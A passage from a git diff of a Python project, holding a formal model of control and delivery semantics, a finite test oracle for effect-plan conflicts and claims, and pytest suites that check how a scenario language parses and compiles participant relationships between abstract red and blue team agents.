heads=(state.cut.heads[0], f"crossing:{revision}") + ) + return replace(state, cut=cut, history=(*state.history, outcome)) + + +def _cut_error(state: State, context: Context, expected: Cut) -> str | None: + if expected != state.cut: + return "stale" + if state.cut.authority_status != "active": + return "inactive-authority" + if type(state.cut.controller) is not str or not state.cut.controller or not state.cut.authority: + return "controller-authority" + if admit(state.plan, context) or not 0 <= state.phase < len(state.plan.phases): + return "invalid-plan" + return None + + +def _order_error(order: frozenset[tuple[str, str]], before: str, after: str) -> str | None: + nodes = {node for pair in order for node in pair} + if len(nodes) > 32 or len(order) > 256: + return "work-limit" + reach = set(order) + for middle in sorted(nodes): + reach.update( + (left, right) for left in nodes for right in nodes if (left, middle) in reach and (middle, right) in reach + ) + if any((node, node) in reach for node in nodes): + return "invalid-order" + return None if (before, after) in reach else "unresolved-order" + + +def deliver( + state: State, + context: Context, + *, + edge_key, + expected, + crossings, + policies, + emitted, + before, + after, + order, + action, + action_admitted, + committed, + result, +): + """One bounded symbolic attempt/result; projection delegates to SEM-230. + + Policies and mapped order are trusted owner outputs in this model, not + caller-granted permissions. The result is synthetic, never backend evidence. + """ + error = _cut_error(state, context, expected) + if error is None: + phase = state.plan.phases[state.phase] + edge = next((edge for edge in phase.edges if edge.key == edge_key), None) + if edge is None: + error = "unadmitted-edge" + elif next(pin[1] for pin in edge.pins if pin[0] == "authority") != state.cut.authority: + error = "authority-binding" + elif ( + next(pin[1:3] for pin in edge.pins if pin[0] == "policy") != (state.plan.policy, state.cut.policy_revision) + or not policies + or any( + (policy.policy_id, policy.revision, policy.decision_cut_ref) + != (state.plan.policy, state.cut.policy_revision, state.cut.ref) + for policy in policies + ) + ): + error = "policy-binding" + elif action and state.plan.loop == "open-loop": + error = "open-loop-actuation" + elif action and not action_admitted: + error = "action-denied" + else: + error = _order_error(order, before, after) + if error is None: + if any( + c.decision_cut_ref != state.cut.ref or c.policy_revision != state.cut.policy_revision for c in crossings + ): + error = "stale-projection" + else: + projected = project_history( + crossings, policies, participant=state.cut.participant, audience=f"participant:{state.cut.participant}" + ) + if not emitted <= {source for _, source, _ in projected}: + error = "projection-widened" + if error is None and result not in {"delivered", "failed", "unknown"}: + error = "invalid-result" + if not committed: + return state, "commit-failed" + if error: + return _record(state, error), error + recorded = _record(state, result) + return replace( + recorded, + effects=(*state.effects, edge_key), + knowledge=state.knowledge | emitted if result == "delivered" else state.knowledge, + ), result + + +def advance(state: State, context: Context, *, expected: Cut, trigger: str, committed: bool): + """Quiescent consecutive phase commit; no controller or history rewrite.""" + error = _cut_error(state, context, expected) + next_phase = state.phase + 1 + if error is None: + if next_phase >= len(state.plan.phases): + error = "terminal-phase" + elif ( + state.plan.phases[state.phase].ref, + state.plan.phases[next_phase].ref, + trigger, + ) not in state.plan.transitions: + error = "unadmitted-trigger" + elif state.pending: + error = "in-flight" + if not committed: + return state, "commit-failed" + if error: + return _record(state, error), error + return replace(_record(state, "phase-committed"), phase=next_phase), "phase-committed" + + +def link_trials(source: Plan, target: Plan, context: Context) -> tuple[str, str, str, str]: + """Lineage for alternative realizations, without an equivalence assertion.""" + if ( + source.scenario != target.scenario + or source.policy != target.policy + or source.entry == target.entry + or source.run == target.run + or admit(source, context) + or admit(target, context) + ): + raise ValueError("trial-lineage") + return source.entry, source.run, target.entry, target.run diff --git a/implementations/python/tests/sem235_modular_control_model.py b/implementations/python/tests/sem235_modular_control_model.py new file mode 100644 index 000000000..bca611e85 --- /dev/null +++ b/implementations/python/tests/sem235_modular_control_model.py @@ -0,0 +1,275 @@ +"""Finite sem-235/rev1 oracle; no wire parser, provider, scheduler or store. + +Refs stand for trusted, revision/digest-resolved apparatus and owner results. +The tests falsify finite relations; they cannot establish instrumentation, +authentication, durable atomicity or external realization. +""" + +from dataclasses import dataclass, replace +from itertools import combinations + +TOKENS = ("coached-hint", "worked-example") +TEACHING = "teaching-influence/rev1" +KINDS = frozenset({"fact", "decision", "advice", "request"}) + + +@dataclass(frozen=True) +class Influence: + ref: str + labels: frozenset[str] | None + ancestors: frozenset[str] = frozenset() + revision: str = TEACHING + + +def join(a: frozenset[str], b: frozenset[str]) -> frozenset[str]: + if not (a | b) <= set(TOKENS): + raise ValueError("domain") + return a | b + + +def derive(ref: str, inputs: tuple[Influence, ...]) -> Influence: + ancestors = frozenset(x for value in inputs for x in (value.ref, *value.ancestors)) + if not ref or ref in ancestors: + raise ValueError("fresh identity required") + if any(value.revision != TEACHING for value in inputs): + raise ValueError("revision") + labels = frozenset() + for value in inputs: + if value.labels is not None: + labels = join(labels, value.labels) + # Empty known source is supplied explicitly. No inputs means no coverage. + known = bool(inputs) and all(value.labels is not None for value in inputs) + return Influence(ref, labels if known else None, ancestors) + + +@dataclass(frozen=True) +class Slot: + ref: str + kind: str + mandatory: bool = True + dependencies: tuple[str, ...] = () + + +@dataclass(frozen=True) +class Result: + slot: str + kind: str + status: str = "resolved" + cut: str = "K0" + payload: str = "known" + + +def _ordered_slots(slots: tuple[Slot, ...]) -> tuple[Slot, ...]: + by_ref = {slot.ref: slot for slot in slots} + if len(by_ref) != len(slots) or len(slots) > 16: + raise ValueError("selection") + pending = set(by_ref) + ordered = [] + for slot in slots: + if not slot.ref or slot.kind not in KINDS or len(set(slot.dependencies)) != len(slot.dependencies): + raise ValueError("slot") + for dep in slot.dependencies: + if dep not in by_ref or (slot.mandatory and not by_ref[dep].mandatory): + raise ValueError("dependency") + while pending: + layer = sorted(ref for ref in pending if not pending.intersection(by_ref[ref].dependencies)) + if not layer: + raise ValueError("cycle") + ordered.extend(by_ref[ref] for ref in layer) + pending.difference_update(layer) + return tuple(ordered) + + +def compose(slots: tuple[Slot, ...], results: tuple[Result, ...], *, cut: str, incumbent: bool = True): + ordered = _ordered_slots(slots) + by_slot = {result.slot: result for result in results} + if len(by_slot) != len(results) or not by_slot.keys() <= {slot.ref for slot in slots}: + raise ValueError("result binding") + failures: dict[str, str] = {} + for slot in ordered: + result = by_slot.get(slot.ref) + if result is None: + reason = "missing" + elif result.cut != cut: + reason = "stale" + elif result.status != "resolved": + reason = ( + result.status + if result.status in {"missing", "unknown", "unsupported", "stale", "failed", "weakened"} + else "unsupported" + ) + elif result.kind != slot.kind: + reason = "kind" + elif any(dep in failures for dep in slot.dependencies): + reason = "dependency" + elif slot.kind == "decision" and result.payload != "permit": + reason = result.payload if result.payload in {"deny", "withhold", "abstain"} else "unsupported" + else: + reason = "" + if reason: + failures[slot.ref] = reason + blocking = {f"{slot.ref}:{failures[slot.ref]}" for slot in slots if slot.mandatory and slot.ref in failures} + if not incumbent: + blocking.add("incumbent") + return tuple(sorted(blocking)) + + +EFFECTS = frozenset( + { + "permit", + "deny", + "withhold", + "transform", + "mask", + "inject", + "delay", + "route", + "audit", + "handoff", + "request-review", + "interrupt", + "shutdown", + } +) + + +@dataclass(frozen=True) +class Request: + rule: str + kind: str + subject: str + target: str + content: str = "artifact:one" + slot: int = 0 + epoch: int = 0 + phase: str = "subsequent" + window: tuple[int, int] = (0, 10) + clock: str = "clock:one" + parent: str | None = None + + @property + def key(self): + # Run and root are held by State, not caller retry/cut/transport ids. + return self.rule, self.slot, self.epoch + + +def delay_window(requests: tuple[Request, ...]) -> tuple[int, int]: + return max(r.window[0] for r in requests), min(r.window[1] for r in requests) + + +def _pair_conflict(left, right, reach, independent): + pair = frozenset({left.rule, right.rule}) + ordered = (left.rule, right.rule) in reach or (right.rule, left.rule) in reach + if left.subject == right.subject: + if left.kind in {"transform", "mask"} and right.kind in {"transform", "mask"}: + return ( + not ordered or left.content != right.content or left.kind != right.kind or left.target != right.target + ) + if left.kind == right.kind and left.kind in {"route", "handoff"}: + return not ordered or left.target != right.target + if left.kind == right.kind == "delay": + low, high = delay_window((left, right)) + return left.clock != right.clock or low > high + shared = left.subject == right.subject or left.target == right.target + if shared: + if left.kind == "shutdown" and (left.rule, right.rule) in reach: + return True + if right.kind == "shutdown" and (right.rule, left.rule) in reach: + return True + return not ordered + return not ordered and pair not in independent + + +def effect_plan(requests: tuple[Request, ...], *, order=frozenset(), independent=frozenset()): + if len(requests) > 16 or any(r.kind not in EFFECTS for r in requests): + return ("unsupported",) + if any(r.phase not in {"predecessor", "subsequent"} or not all((r.rule, r.subject, r.target)) for r in requests): + return ("invalid-binding",) + if any(r.kind == "delay" and r.window[0] > r.window[1] for r in requests): + return ("invalid-window",) + unique = {} + for request in requests: + if request.key in unique and unique[request.key] != request: + return ("key-conflict",) + unique[request.key] = request + nodes = {r.rule for r in requests} + if len(nodes) != len(unique): + return ("unsupported",) + reach = set(order) + if any(a not in nodes or b not in nodes for a, b in reach): + return ("invalid-order",) + for mid in sorted(nodes): + reach.update((a, b) for a in nodes for b in nodes if (a, mid) in reach and (mid, b) in reach) + if any((node, node) in reach for node in nodes): + return ("invalid-order",) + if any(_pair_conflict(a, b, reach, independent) for a, b in combinations(unique.values(), 2)): + return ("conflict",) + return () + + +@dataclass(frozen=True) +class Claim: + request: Request + identity: str + depth: int + phase: str = "committed" + + +@dataclass(frozen=True) +class State: + """One admitted run/root; immutable atomic states are a model assumption.""" + + run: str = "run:one" + root: str = "root:one" + claims: tuple[Claim, ...] = () + calls: tuple[str, ...] = () + limit: int = 2 + depth_limit: int = 2 + rule_limit: int = 1 + + +def claim(state, request, *, expected="K0", current="K0", allowed=True, committed=True): + prior = next((c for c in state.claims if c.request.key == request.key), None) + if prior: + return state, prior.phase if prior.request == request else "key-conflict" + if expected != current: + return state, "stale" + if not allowed or request.kind in {"permit", "deny", "withhold"} or effect_plan((request,)): + return state, "refused" + parents = [c for c in state.claims if c.identity == request.parent] + if request.parent is not None and not parents: + return state, "unknown-parent" + depth = parents[0].depth + 1 if parents else 1 + firings = sum(c.request.rule == request.rule for c in state.claims) + if len(state.claims) >= state.limit or depth > state.depth_limit or firings >= state.rule_limit: + return state, "exhausted" + if not committed: + return state, "commit-failed" + # Fresh allocation also excludes all source identities in this finite state. + used = {c.identity for c in state.claims} | {c.request.subject for c in state.claims} | {request.subject} + n = len(state.claims) + identity = f"{state.run}/{state.root}/occurrence:{n}" + while identity in used: + n += 1 + identity = f"{state.run}/{state.root}/occurrence:{n}" + entry = Claim(request, identity, depth) + return replace(state, claims=(*state.claims, entry)), "committed" + + +def observe(state, identity, outcome): + entry = next(c for c in state.claims if c.identity == identity) + if entry.phase not in {"dispatching", "indeterminate"} or outcome not in {"applied", "failed", "indeterminate"}: + raise ValueError("realization transition") + return replace( + state, claims=tuple(replace(c, phase=outcome) if c.identity == identity else c for c in state.claims) + ) + + +def dispatch(state, identity, *, expected="K0", current="K0", allowed=True, fenced=True): + entry = next(c for c in state.claims if c.identity == identity) + if entry.phase != "committed": + return state, entry.phase + if expected != current or not allowed or not fenced: + return state, "refused" + claims = tuple(replace(c, phase="dispatching") if c.identity == identity else c for c in state.claims) + return replace(state, claims=claims, calls=(*state.calls, identity)), "dispatching" diff --git a/implementations/python/tests/test_act_612_participant_relationships.py b/implementations/python/tests/test_act_612_participant_relationships.py new file mode 100644 index 000000000..3e9bcf902 --- /dev/null +++ b/implementations/python/tests/test_act_612_participant_relationships.py @@ -0,0 +1,197 @@ +"""ACT-612 authored participant relationships and optional refinements.""" + +from __future__ import annotations + +import pytest +import yaml +from raes import SDLParseError, SDLValidationError, parse_sdl +from raes_processor.compiler import compile_scenario_runtime_model + +KINDS = ("coordination", "delegation", "cooperation", "competition", "supervision") + + +def _payload(kind: str = "coordination") -> dict: + return { + "name": "abstract-participant-relationships", + "entities": {"team-a": {"role": "red"}, "team-b": {"role": "blue"}}, + "agents": {"alice": {"affiliations": ["team-a"]}, "bob": {"affiliations": ["team-b"]}}, + "relationships": { + "work": { + "type": "participant", + "source": "agents.alice", + "target": "bob", + "participant": {"kind": kind}, + } + }, + } + + +def _parse(payload: dict): + return parse_sdl(yaml.safe_dump(payload)) + + +@pytest.mark.parametrize("kind", KINDS) +def test_abstract_relationship_preserves_intent_without_invented_detail(kind: str) -> None: + scenario = _parse(_payload(kind)) + relation = scenario.relationships["work"] + assert relation.participant.kind.value == kind + assert (relation.source, relation.target) == ("agents.alice", "bob") + model = compile_scenario_runtime_model(scenario) + assert model.relationship_specs["work"]["participant"]["kind"] == kind + assert set(model.relationship_specs) == {"work"} # No inferred reciprocal edge. + assert not model.node_deployments + assert not model.action_contracts + assert not model.behavior_specifications + assert not model.observation_boundaries + assert not model.observation_demands + assert not model.capture_demands + for participant in model.participant_behaviors.values(): + assert not participant.authority_anchor_refs + assert not participant.operating_scope_refs + assert not participant.action_contract_addresses + + +@pytest.mark.parametrize("endpoint", ["source", "target"]) +@pytest.mark.parametrize("ref", ["team-a", "entities.team-a", "absent"]) +def test_relationship_endpoints_must_be_participants(endpoint: str, ref: str) -> None: + payload = _payload() + payload["relationships"]["work"][endpoint] = ref + with pytest.raises(SDLValidationError, match="participant endpoint"): + _parse(payload) + + +def test_relationship_endpoints_must_be_distinct_after_alias_resolution() -> None: + payload = _payload() + payload["relationships"]["work"]["target"] = "alice" + with pytest.raises(SDLValidationError, match="distinct participants"): + _parse(payload) + + +@pytest.mark.parametrize("mutation", ["missing", "wrong-type", "properties", "other-detail"]) +def test_participant_detail_has_one_typed_owner(mutation: str) -> None: + payload = _payload() + relation = payload["relationships"]["work"] + if mutation == "missing": + del relation["participant"] + elif mutation == "wrong-type": + relation["type"] = "manages" + elif mutation == "properties": + relation["properties"] = {"grant": "administrator"} + else: + relation["domain_controller"] = {} + with pytest.raises(SDLParseError, match="participant"): + _parse(payload) + + +def _refined_payload(kind: str = "coordination") -> dict: + payload = _payload(kind) + payload["nodes"] = {"workspace": {"type": "compute"}, "outside": {"type": "compute"}} + for name in ("alice", "bob"): + payload["agents"][name].update( + actions=[name + "-action"], + authority_anchors=["entities.team-a"], + operating_scope=["workspace"], + observation_boundaries=["shared-view"], + ) + payload["action_contracts"] = { + name + "-action": { + "semantic_version": "1.0.0", + "behavioral_granularity": "atomic", + "procedure_basis": "abstract state transition", + "realization_profile": "abstract", + "fidelity_claim": "declared transition only", + "preconditions": [ + { + "precondition_id": "authorized", + "precondition_class": "authority", + "description": "declared authority", + } + ], + "effects": [ + {"effect_id": "no-change", "effect_class": "no_effect", "description": "abstract synchronization"} + ], + "failure_classes": ["authority_denied", "unknown"], + } + for name in ("alice", "bob") + } + payload["action_contracts"]["alice-action"]["interactions"] = [ + { + "interaction_class": "coordination", + "target": "agents.bob", + "rationale": "synchronize the declared transitions", + "related_actions": ["bob-action"], + } + ] + payload["observation_boundaries"] = { + "shared-view": { + "projection_basis": "declared shared state", + "observable_refs": ["nodes.workspace"], + "redaction_policy": "hide private state", + "latency_profile": "immediate", + } + } + payload["behavior_specifications"] = { + "pair": { + "semantic_version": "1.0.0", + "participant_refs": ["alice", "bob"], + "action_contract_refs": ["alice-action", "bob-action"], + } + } + payload["relationships"]["work"]["participant"].update( + source_action_refs=["action_contracts.alice-action"], + target_action_refs=["bob-action"], + behavior_specification_refs=["behavior_specifications.pair"], + authority_basis_refs=["team-a"], + scope_refs=["nodes.workspace"], + observation_boundary_refs=["shared-view"], + ) + return payload + + +def test_selected_refinements_resolve_and_survive_compilation() -> None: + payload = _refined_payload() + model = compile_scenario_runtime_model(_parse(payload)) + compiled = model.relationship_specs["work"]["participant"] + for field, expected in payload["relationships"]["work"]["participant"].items(): + assert compiled[field] == expected + + +@pytest.mark.parametrize( + ("field", "value", "message"), + [ + ("source_action_refs", ["bob-action"], "source_action_refs.*available to.*alice"), + ("target_action_refs", ["alice-action"], "target_action_refs.*available to.*bob"), + ("objective_refs", ["missing"], "objective_refs.*declared objectives"), + ("behavior_specification_refs", ["missing"], "behavior_specification_refs.*declared behavior_specifications"), + ("authority_basis_refs", ["team-b"], "authority_basis_refs.*source authority"), + ("scope_refs", ["outside"], "scope_refs.*operating_scope"), + ("observation_boundary_refs", ["missing"], "observation_boundary_refs.*declared observation_boundaries"), + ], +) +def test_explicit_refinements_are_binding(field: str, value: list, message: str) -> None: + payload = _refined_payload() + payload["relationships"]["work"]["participant"][field] = value + with pytest.raises(SDLValidationError, match=message): + _parse(payload) + + +def test_coordination_refinement_requires_existing_action_agreement() -> None: + payload = _refined_payload() + payload["action_contracts"]["alice-action"]["interactions"] = [] + with pytest.raises(SDLValidationError, match="coordination.*action interaction"): + _parse(payload) + + +def test_unselected_observation_does_not_become_visible() -> None: + payload = _refined_payload("supervision") + payload["agents"]["alice"]["observation_boundaries"] = [] + with pytest.raises(SDLValidationError, match="observation_boundary_refs.*source participant"): + _parse(payload) + + +def test_refinement_cannot_bind_an_unrelated_behavior() -> None: + payload = _refined_payload() + payload["agents"]["third"] = {"affiliations": ["team-a"]} + payload["behavior_specifications"]["pair"]["participant_refs"] = ["third"] + with pytest.raises(SDLValidationError, match="behavior_specification_refs.*relationship endpoint"): + _parse(payload) diff --git a/implementations/python/tests/test_act_612_relationship_integration.py b/implementations/python/tests/test_act_612_relationship_integration.py new file mode 100644 index 000000000..858993601 --- /dev/null +++ b/implementations/python/tests/test_act_612_relationship_integration.py @@ -0,0 +1,332 @@ +"""Participant relationship composition, control binding and published shape.""" + +from __future__ import annotations + +import json +from pathlib import Path + +import pytest +import yaml +from jsonschema import Draft202012Validator +from raes import SDLInstantiationError, SDLParseError, SDLValidationError, instantiate_scenario, parse_sdl_file +from raes.language_service import language_completions, language_references +from raes_processor.compiler import compile_scenario_runtime_model +from test_act_612_participant_relationships import KINDS, _parse, _payload, _refined_payload +from test_act_617_mixed_control import _scenario_yaml + +ROOT = Path(__file__).resolve().parents[3] + + +def test_published_relationship_fixtures() -> None: + root = ROOT / "contracts/fixtures/sdl/participant-relationships-v1" + model = compile_scenario_runtime_model(parse_sdl_file(root / "valid/abstract-relations.yaml")) + assert {edge["participant"]["kind"] for edge in model.relationship_specs.values()} == set(KINDS) + with pytest.raises(SDLValidationError, match="participant endpoint"): + parse_sdl_file(root / "invalid/entity-endpoint.yaml") + + +@pytest.mark.parametrize("kind", ["supervision", "delegation"]) +def test_control_binding_reuses_existing_policy_and_direction(kind: str) -> None: + payload = yaml.safe_load(_scenario_yaml()) + endpoints = ("supervisor-agent", "red-agent") if kind == "supervision" else ("red-agent", "supervisor-agent") + payload["relationships"] = { + "control": { + "type": "participant", + "source": endpoints[0], + "target": endpoints[1], + "participant": {"kind": kind, "control_specification_ref": "behavior_specifications.controlled-red"}, + } + } + model = compile_scenario_runtime_model(_parse(payload)) + policy = model.behavior_specifications["participant.behavior-specification.controlled-red"] + assert policy.mixed_control_participant_address == "participant.behavior.red-agent" + assert len(policy.control_transitions) == 2 + payload["relationships"]["control"]["source"], payload["relationships"]["control"]["target"] = endpoints[::-1] + with pytest.raises(SDLValidationError, match="control_specification_ref.*direction"): + _parse(payload) + + +def test_control_binding_cannot_select_plain_behavior_or_unavailable_policy() -> None: + payload = _refined_payload("supervision") + detail = payload["relationships"]["work"]["participant"] + for ref, message in (("missing", "declared behavior_specifications"), ("pair", "mixed_control")): + detail["control_specification_ref"] = ref + with pytest.raises(SDLValidationError, match=message): + _parse(payload) + + +def _import_twice(tmp_path: Path, payload: dict): + payload["module"] = { + "id": "example/participants", + "version": "1.0.0", + "exports": {key: list(value) for key, value in payload.items() if isinstance(value, dict)}, + } + (tmp_path / "module.yaml").write_text(yaml.safe_dump(payload)) + (tmp_path / "root.yaml").write_text( + yaml.safe_dump( + { + "name": "imported-pairs", + "imports": [{"path": "module.yaml", "namespace": name} for name in ("first", "second")], + } + ) + ) + return compile_scenario_runtime_model(parse_sdl_file(tmp_path / "root.yaml")) + + +def test_composition_rewrites_all_refinements_and_keeps_copies_separate(tmp_path: Path) -> None: + model = _import_twice(tmp_path, _refined_payload()) + for namespace in ("first", "second"): + edge = model.relationship_specs[f"{namespace}.work"] + assert edge["source"] == f"agents.{namespace}.alice" + assert edge["target"] == f"{namespace}.bob" + assert edge["participant"]["source_action_refs"] == [f"action_contracts.{namespace}.alice-action"] + assert edge["participant"]["target_action_refs"] == [f"{namespace}.bob-action"] + assert edge["participant"]["scope_refs"] == [f"nodes.{namespace}.workspace"] + assert edge["participant"]["authority_basis_refs"] == [f"{namespace}.team-a"] + assert edge["participant"]["behavior_specification_refs"] == [f"behavior_specifications.{namespace}.pair"] + assert edge["participant"]["observation_boundary_refs"] == [f"{namespace}.shared-view"] + + +def test_composition_preserves_control_policy_identity(tmp_path: Path) -> None: + payload = yaml.safe_load(_scenario_yaml()) + payload["relationships"] = { + "control": { + "type": "participant", + "source": "supervisor-agent", + "target": "red-agent", + "participant": { + "kind": "supervision", + "control_specification_ref": "behavior_specifications.controlled-red", + }, + } + } + model = _import_twice(tmp_path, payload) + for namespace in ("first", "second"): + edge = model.relationship_specs[f"{namespace}.control"] + assert edge["participant"]["control_specification_ref"] == f"behavior_specifications.{namespace}.controlled-red" + policy = model.behavior_specifications[f"participant.behavior-specification.{namespace}.controlled-red"] + assert policy.mixed_control_participant_address == f"participant.behavior.{namespace}.red-agent" + + +@pytest.mark.parametrize( + ("field", "aliases"), + [ + ("source_action_refs", ["alice-action", "action_contracts.alice-action"]), + ("target_action_refs", ["bob-action", "action_contracts.bob-action"]), + ("behavior_specification_refs", ["pair", "behavior_specifications.pair"]), + ("observation_boundary_refs", ["shared-view", "observation_boundaries.shared-view"]), + ], +) +def test_section_refinements_reject_repeated_canonical_aliases(field: str, aliases: list[str]) -> None: + payload = _refined_payload() + payload["relationships"]["work"]["participant"][field] = aliases + with pytest.raises(SDLValidationError, match="repeats a canonical reference"): + _parse(payload) + + +@pytest.mark.parametrize( + ("field", "aliases"), + [ + ("authority_basis_refs", ["team-a", "entities.team-a"]), + ("scope_refs", ["workspace", "nodes.workspace"]), + ], +) +@pytest.mark.parametrize("parameterized", [False, True]) +def test_named_refinements_reject_repeated_canonical_aliases( + field: str, aliases: list[str], parameterized: bool +) -> None: + payload = _refined_payload() + if parameterized: + payload["variables"] = {"alias": {"type": "string", "default": aliases[1]}} + aliases = [aliases[0], "${alias}"] + payload["relationships"]["work"]["participant"][field] = aliases + if parameterized: + authored = _parse(payload) + with pytest.raises(SDLInstantiationError, match=field + ".*repeats a canonical reference"): + instantiate_scenario(authored) + else: + with pytest.raises(SDLValidationError, match=field + ".*repeats a canonical reference"): + _parse(payload) + + +def test_language_navigation_tracks_typed_action_refinement() -> None: + payload = _refined_payload() + result = language_references(yaml.safe_dump(payload), "action_contracts.alice-action") + assert any(item["path"] == "/relationships/work/participant/source_action_refs/0" for item in result["occurrences"]) + + +def test_authority_refinement_completion_includes_non_targetable_anchors() -> None: + payload = _refined_payload() + payload["workflows"] = {"mandate": {"start": "done", "steps": {"done": {"type": "end"}}}} + payload["agents"]["alice"]["authority_anchors"] = ["workflows.mandate"] + payload["relationships"]["work"]["participant"]["authority_basis_refs"] = ["workflows.mandate"] + _parse(payload) + result = language_completions( + yaml.safe_dump(payload), cursor_path="/relationships/work/participant/authority_basis_refs" + ) + assert any(item["detail"] == "workflows.mandate" for item in result["items"]) + + +def test_endpoint_variable_is_checked_again_after_instantiation() -> None: + payload = _payload() + payload["variables"] = {"peer": {"type": "string", "default": "bob", "allowed_values": ["bob", "alice", "team-a"]}} + payload["relationships"]["work"]["target"] = "${peer}" + authored = _parse(payload) + assert instantiate_scenario(authored).relationships["work"].target == "bob" + for value in ("alice", "team-a"): + with pytest.raises(SDLInstantiationError): + instantiate_scenario(authored, parameters={"peer": value}) + + +def test_role_based_refinement_defers_variable_entity_until_instantiation() -> None: + payload = _refined_payload() + payload["variables"] = {"identity": {"type": "string", "default": "team-a", "allowed_values": ["team-a", "team-b"]}} + payload["agents"]["alice"]["affiliations"] = ["${identity}"] + behavior = payload["behavior_specifications"]["pair"] + behavior["participant_refs"] = [] + behavior["participant_role_refs"] = ["red"] + authored = _parse(payload) + instantiate_scenario(authored) + with pytest.raises(SDLInstantiationError, match="relationship endpoint"): + instantiate_scenario(authored, parameters={"identity": "team-b"}) + + +@pytest.mark.parametrize("kind", KINDS) +def test_published_authoring_schema_accepts_each_abstract_relationship(kind: str) -> None: + schema = json.loads((ROOT / "contracts/schemas/sdl/sdl-authoring-input-v1.json").read_text()) + Draft202012Validator(schema).validate(_payload(kind)) + + +@pytest.mark.parametrize("refs", [[""], [" "], ["alice-action", "alice-action"]]) +def test_invalid_reference_lists_fail_at_shape_boundary(refs: list[str]) -> None: + payload = _payload() + payload["relationships"]["work"]["participant"]["source_action_refs"] = refs + with pytest.raises(SDLParseError): + _parse(payload) + + +@pytest.mark.parametrize( + "mutation", ["missing", "wrong-type", "properties", "other-detail", "blank-ref", "duplicate-ref"] +) +def test_published_schema_enforces_participant_shape(mutation: str) -> None: + payload = _payload() + relation = payload["relationships"]["work"] + if mutation == "missing": + del relation["participant"] + elif mutation == "wrong-type": + relation["type"] = "manages" + elif mutation == "properties": + relation["properties"] = {"grant": "administrator"} + elif mutation == "other-detail": + relation["domain_controller"] = {} + else: + relation["participant"]["source_action_refs"] = [" "] if mutation == "blank-ref" else ["act", "act"] + schema = json.loads((ROOT / "contracts/schemas/sdl/sdl-authoring-input-v1.json").read_text()) + assert list(Draft202012Validator(schema).iter_errors(payload)) + + +def test_coordination_refinement_cannot_point_interaction_at_another_participant() -> None: + payload = _refined_payload() + payload["agents"]["third"] = {"affiliations": ["team-a"], "actions": ["bob-action"]} + payload["action_contracts"]["alice-action"]["interactions"][0]["target"] = "agents.third" + with pytest.raises(SDLValidationError, match="coordination.*action interaction"): + _parse(payload) + + +def test_coordination_may_target_a_shared_resource_without_fabricated_peer_target() -> None: + payload = _refined_payload() + payload["action_contracts"]["alice-action"]["interactions"][0]["target"] = "nodes.workspace" + _parse(payload) + + +def test_published_schema_restricts_control_binding_to_control_relationships() -> None: + payload = _payload("cooperation") + payload["relationships"]["work"]["participant"]["control_specification_ref"] = "policy" + schema = json.loads((ROOT / "contracts/schemas/sdl/sdl-authoring-input-v1.json").read_text()) + assert list(Draft202012Validator(schema).iter_errors(payload)) + + +def test_ambiguous_bare_participant_name_requires_qualification() -> None: + payload = _payload() + payload["entities"]["bob"] = {"role": "white"} + with pytest.raises(SDLValidationError, match="participant endpoint.*unambiguously"): + _parse(payload) + payload["relationships"]["work"]["target"] = "agents.bob" + _parse(payload) + + +@pytest.mark.parametrize("kind", ["cooperation", "competition"]) +def test_objective_refinement_preserves_declared_intent_and_rejects_unrelated_owner(kind: str) -> None: + payload = _payload(kind) + payload["propositions"] = { + "role-present": { + "description": "The participant's entity has a declared role.", + "subjects": ["entities.team-a"], + "basis": "declared_state", + "predicate": { + "kind": "presence", + "property": "role", + "semantic_ref": "urn:raes:declared-property:entity-role", + "operator": "exists", + }, + } + } + payload["assertions"] = {"declared": {"proposition": "role-present", "role": "postcondition"}} + payload["objectives"] = {"work-goal": {"assigned_participant": "alice", "success": {"assertions": ["declared"]}}} + payload["relationships"]["work"]["participant"]["objective_refs"] = ["objectives.work-goal"] + model = compile_scenario_runtime_model(_parse(payload)) + assert model.relationship_specs["work"]["participant"]["objective_refs"] == ["objectives.work-goal"] + payload["agents"]["third"] = {"affiliations": ["team-b"]} + payload["objectives"]["work-goal"]["assigned_participant"] = "third" + with pytest.raises(SDLValidationError, match="objective_refs.*relationship endpoint"): + _parse(payload) + + +def test_objective_assignment_refinement_revalidates_parameterized_assignment(): + payload = _payload("cooperation") + payload["variables"] = {"assignee": {"type": "string", "default": "alice", "allowed_values": ["alice", "third"]}} + payload["agents"]["third"] = {"affiliations": ["team-a"]} + payload["propositions"] = { + "role-present": { + "description": "The participant entity has a declared role.", + "subjects": ["entities.team-a"], + "basis": "declared_state", + "predicate": { + "kind": "presence", + "property": "role", + "semantic_ref": "urn:raes:declared-property:entity-role", + "operator": "exists", + }, + } + } + payload["assertions"] = {"declared": {"proposition": "role-present", "role": "postcondition"}} + payload["objectives"] = { + "work-goal": {"owner": "team-a", "assigned_participant": "${assignee}", "success": {"assertions": ["declared"]}} + } + payload["relationships"]["work"]["participant"]["objective_refs"] = ["objectives.work-goal"] + authored = _parse(payload) + instantiate_scenario(authored) + with pytest.raises(SDLInstantiationError, match="objective_refs.*relationship endpoint"): + instantiate_scenario(authored, parameters={"assignee": "third"}) + + +def test_relationship_scope_cannot_widen_selected_control_policy(): + payload = yaml.safe_load(_scenario_yaml()) + for participant in payload["agents"].values(): + participant["operating_scope"].append("nodes.internal") + payload["relationships"] = { + "control": { + "type": "participant", + "source": "supervisor-agent", + "target": "red-agent", + "participant": { + "kind": "supervision", + "scope_refs": ["nodes.web"], + "control_specification_ref": "controlled-red", + }, + } + } + _parse(payload) + payload["relationships"]["control"]["participant"]["scope_refs"] = ["nodes.internal"] + with pytest.raises(SDLValidationError, match="control_specification_ref.*scope"): + _parse(payload) diff --git a/implementations/python/tests/test_act_614_temporal_admission.py b/implementations/python/tests/test_act_614_temporal_admission.py new file mode 100644 index 000000000..95846f5f6 --- /dev/null +++ b/implementations/python/tests/test_act_614_temporal_admission.py @@ -0,0 +1,346 @@ +"""ACT-614 temporal admission.""" + +from __future__ import annotations + +from dataclasses import replace + +import pytest +import yaml +from implementations.python.tests._act_614_temporal_fixtures import ( + _bound_deadline_payload, + _temporal_target, + _TemporalEvidenceRuntime, +) +from implementations.python.tests.test_dsl_437_benign_participant_execution import ( + _activity_policy_yaml, + _autonomous_manifest, + _NativeParticipantRuntime, + _scenario_yaml, +) +from implementations.python.tests.test_issue_898_participant_execution_control import _service_state +from raes.parser import parse_sdl +from raes_backend_protocols.capabilities import ParticipantRuntimeCapabilities +from raes_backend_protocols.capability_admission import participant_autonomous_execution_capability_gaps +from raes_backend_protocols.manifest import backend_manifest_from_v2_model, backend_manifest_v2_model +from raes_backend_stubs.stubs import create_stub_target +from raes_conformance.conformance.profiles import BackendCapabilityProfile +from 